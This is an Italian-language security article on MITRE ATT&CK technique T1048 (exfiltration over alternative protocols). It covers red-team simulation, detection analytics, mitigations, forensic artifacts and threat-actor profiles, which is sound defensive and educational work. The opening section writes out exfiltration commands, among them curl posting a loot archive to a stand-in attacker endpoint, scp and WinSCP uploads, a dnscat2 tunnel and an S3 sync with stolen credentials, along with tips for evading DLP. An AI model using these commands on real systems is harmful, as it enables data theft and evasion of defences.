Esfiltrazione su Protocollo Alternativo: Exfiltration Over Alternative Protocol (T1048)

In un esercizio red team, T1048 si simula scegliendo un protocollo diverso dal canale C2 primario e testando la reazione dei controlli egress. La regola d'oro è mantenere la separazione tra i due canali: se il C2 usa HTTPS su porta 443, l'esfiltrazione dovrebbe transitare su DNS, SMTP o un provider cloud lecito.

Su Linux e macOS, curl (open source) resta il coltellino svizzero. Un comando tipico per inviare un archivio a un endpoint web controllato è curl -s -L -o /dev/null -X POST --data-binary @/tmp/loot.tar.gz https-endpoint-attacker, dove il flag -s silenzia l'output e -L segue i redirect. Bundlore utilizza esattamente il pattern curl -s -L -o per scaricare e caricare archivi, quindi replicarlo permette di validare le detection basate su questa signature. Per SFTP, scp -P 2222 loot.tar.gz user@host:/incoming/ fornisce cifratura nativa e spesso passa i firewall come traffico SSH legittimo.

Su Windows, oltre al classico ftp.exe -s:script.txt, gli operatori moderni preferiscono WinSCP (open source) — lo stesso tool documentato per il gruppo Play — invocabile in modalità script con winscp.com /command "open sftp://user:pass@host" "put C:\temp\loot.zip" "exit". Anche bitsadmin /transfer e i cmdlet PowerShell Invoke-WebRequest / Invoke-RestMethod restano validi per test rapidi.

Per simulare DNS tunneling — pattern usato da FrameworkPOS per esfiltrare dati carta — tool come dnscat2 (open source) e iodine (open source) creano tunnel bidirezionali su query TXT o NULL. Un lab tipico prevede di configurare un name server autoritativo su un dominio controllato e lanciare dnscat2-client --dns server=ns.lab.local, misurando quanti byte al secondo passano prima che l'IDS generi alert.

Per l'esfiltrazione cloud-native, AADInternals (open source, PowerShell) permette di scaricare file OneDrive con credenziali valide tramite Get-AADIntOneDriveFiles, simulando il comportamento di un attaccante con token rubati. Su AWS, aws s3 sync s3://target-bucket/ ./loot/ --profile stolen replica lo scarico massivo di bucket usando credenziali IAM compromesse.

Un payload realistico include compressione (tar czf o 7z a -pPassword), suddivisione in chunk da 5-10 MB per aggirare soglie DLP, e randomizzazione degli intervalli tra le richieste. Documentare la baseline pre-test e il volume esfiltrato è essenziale per valutare l'efficacia dei controlli.

La detection di T1048 richiede un approccio comportamentale che correli volume di traffico, protocolli anomali e relazioni processo-rete. La strategia MITRE DET0131 identifica cinque piattaforme rilevanti, ciascuna con log source specifiche.

Su Windows (analytic AN0367), le fonti primarie sono WinEventLog:Sysmon — in particolare EventID 3 (Network Connect) e EventID 1 (Process Create) — insieme a WinEventLog:Security. Gli indicatori chiave includono relazioni parent-child anomale come winword.exe che genera ftp.exe o cmd.exe che invoca bitsadmin. Configurare una soglia di volume outbound (es. >50 MB in una singola connessione) e una allow-list dei protocolli attesi per host permette di ridurre il rumore. La finestra temporale è un altro discriminante forte: trasferimenti FTP alle 03:00 da workstation utente sono quasi sempre sospetti.

Su Linux (AN0368), auditd:SYSCALL con regole su connect() e sendto() combinato con NSM:Flow di Zeek o Suricata permette di intercettare l'uso di curl, scp o binari custom verso protocolli non attesi. Un pattern significativo è HTTP su porta 53 o traffico FTP originato da processi non standard. Tracciare il movimento di estensioni sensibili (.csv, .sql, .key, .pem) aggiunge contesto forte.

Su macOS (AN0369), il unified log e osquery (open source) permettono di baseline quali binari invocano normalmente curl o nc. Un alert su mDNSResponder con volumi DNS anomali suggerisce tunneling. Su IaaS (AN0370), AWS CloudTrail per eventi GetObject, CopyObject, PutObject su bucket sensibili, incrociato con VPCFlowLogs per destinazioni geografiche mai osservate nel baseline, individua l'abuso di ruoli IAM. Su ESXi (AN0371), traffico outbound da hostd o vpxa verso protocolli non autorizzati è un segnale forte di compromissione hypervisor.

Sul fronte preventivo, le mitigazioni MITRE M1037 (Filter Network Traffic) e M1057 (Data Loss Prevention) sono i pilastri: enforcing di proxy egress con ispezione TLS, blocco di FTP/SMB verso internet, restrizioni IP-based sulle API cloud. M1030 (Network Segmentation) limita quali segmenti possono raggiungere direttamente destinazioni esterne, mentre M1018 (User Account Management) applicato al cloud impone token temporanei invece di credenziali permanenti.

I falsi positivi tipici includono backup schedulati verso storage remoto, sincronizzazioni legittime OneDrive/Dropbox, e aggiornamenti software che scaricano payload consistenti. Una whitelist per host e user context, combinata con analisi di regolarità temporale, riduce significativamente il rumore.

L'analisi forense di T1048 ricostruisce la catena dal file collezionato al bit trasmesso, correlando artefatti host e telemetria di rete. Su Windows, i punti di partenza sono i log Sysmon (EventID 3 per connessioni, EventID 11 per file creati, EventID 22 per query DNS) e il registro NetworkUsage del SRUM (C:\Windows\System32\sru\SRUDB.dat), che conserva per settimane byte inviati e ricevuti per processo — un dato d'oro quando l'attaccante ha ripulito i log applicativi. Tool come srum-dump (open source) estraggono queste tabelle in CSV.

Gli artefatti di esecuzione (Prefetch in C:\Windows\Prefetch, Amcache.hve, ShimCache) confermano l'uso di ftp.exe, winscp.exe, curl.exe o binari custom. Nel caso del gruppo Play, la presenza di winscp.exe o del suo file di configurazione WinSCP.ini in percorsi utente non standard è un indicatore diretto. Per bitsadmin, il log Microsoft-Windows-Bits-Client/Operational traccia job creation e trasferimenti con URL di destinazione.

Su Linux, auditd con regole appropriate produce record SYSCALL per connect() e execve() correlabili all'utente. I file ~/.bash_history, ~/.zsh_history e i log di journalctl rivelano invocazioni interattive di curl, scp, nc. Per malware come Kobalos, che esfiltra credenziali via UDP, l'analisi di memoria con Volatility 3 (open source) sul plugin linux.netstat espone socket UDP anomali verso destinazioni C2. Per FrameworkPOS e il suo DNS tunneling, i log di systemd-resolved o dnsmasq mostrano query con sottodomini lunghi codificati base32/base64 verso un dominio autoritativo controllato.

Su macOS, il unified log interrogato con log show --predicate 'process == "curl"' --last 24h rivela invocazioni con URL e argomenti. PoetRAT che usa un tool .NET (dog.exe) per esfiltrare via email lascia tracce nei log SMTP del mail gateway aziendale e, sull'endpoint, in file temporanei con estensione .eml o allegati stagati.

In ambienti cloud, AWS CloudTrail fornisce eventi GetObject con sourceIPAddress, userAgent e userIdentity. Un burst di GetObject da un IP mai visto, associato a un ruolo IAM assunto tramite AssumeRole, ricostruisce la catena di abuso. Per AADInternals contro Microsoft 365, gli Unified Audit Log mostrano operazioni FileDownloaded su OneDrive con il ClientAppId del tool.

La timeline finale correla: creazione dell'archivio (MFT $MFT, timestamp $FN vs $SI per rilevare timestomping), esecuzione del client di trasferimento (Prefetch, Amcache), connessione di rete (Sysmon 3, firewall log), e conferma sul destinatario (proxy log, DNS log passivi via PassiveTotal freemium o Farsight DNSDB a pagamento).

L'ecosistema di attori che sfruttano T1048 riflette la versatilità della tecnica, con un mix di gruppi criminali motivati finanziariamente, operatori di ransomware e famiglie malware specializzate in furto dati.

TeamTNT (G0139) rappresenta il profilo del gruppo cloud-focused: attivo principalmente contro workload containerizzati e istanze cloud esposte, utilizza cURL per esfiltrare credenziali raccolte localmente verso server C2. Il pattern è coerente con la loro campagna storica di harvesting di credenziali AWS, Docker e Kubernetes da configurazioni mal protette, dove la semplicità operativa (un singolo comando curl) massimizza la scalabilità su migliaia di host compromessi.

Play (G1040) incarna il modello ransomware moderno con doppia estorsione: prima di cifrare, esfiltra dati sensibili usando WinSCP verso account controllati dagli operatori. La scelta di WinSCP invece di tool custom riduce la superficie di detection basata su signature, poiché il binario è legittimo e frequentemente presente in ambienti IT enterprise. Play è documentato per attacchi contro settori pubblici e infrastrutture critiche in Europa e America Latina.

Sul fronte malware, FrameworkPOS (S0503) è emblematico del threat landscape retail: specializzato nel furto di dati di pagamento, usa DNS tunneling per esfiltrare tracce di carte di credito, sfruttando il fatto che il traffico DNS è raramente ispezionato in profondità nelle reti POS. Hydraq (S0203), storicamente associato all'operazione Aurora contro Google e altre aziende tech, apre connessioni verso domini predefiniti su porta 443 — mimetizzandosi nel traffico HTTPS legittimo.

PoetRAT (S0428), documentato in campagne contro il settore energetico, adotta un approccio insolito: un tool .NET chiamato dog.exe che esfiltra dati via account email, sfruttando SMTP come canale spesso trascurato dai controlli egress orientati al web. Kobalos (S0641), backdoor Linux estremamente compatta rivolta a cluster HPC e provider di hosting, esfiltra credenziali via UDP — un pattern raro che elude firewall configurati principalmente per TCP. Chaes (S0631), banking trojan brasiliano, usa il protocollo MIME per esfiltrazione, mentre AADInternals (S0677) rappresenta la nuova generazione: un toolkit PowerShell open source che, in mano offensiva, scarica file OneDrive e mailbox direttamente via API Microsoft Graph.

Il trend emergente è la convergenza cloud-endpoint: gli attaccanti alternano canali tradizionali (FTP, SMTP, DNS) con abuso di API SaaS, sfruttando il fatto che il traffico verso Microsoft, Google o AWS è raramente bloccato. Per il threat intelligence officer, monitorare l'evoluzione di tool dual-use come WinSCP, curl, rclone e AADInternals in report OSINT e sandbox pubbliche (MalwareBazaar gratuito, VirusTotal freemium, ANY.RUN freemium) resta prioritario.

MITRE ATT&CK T1048 (Exfiltration Over Alternative Protocol), tattica TA0010, mitigazioni M1018/M1022/M1030/M1031/M1037/M1057, detection DET0131 con analytics AN0367-AN0371. Gruppi G0139 (TeamTNT), G1040 (Play). Software S0203, S0428, S0482, S0503, S0631, S0641, S0677. MITRE D3FEND per artefatti e controlli difensivi. Le sezioni operative integrano conoscenza professionale su tool open source e commerciali di detection, forensics e simulazione red team.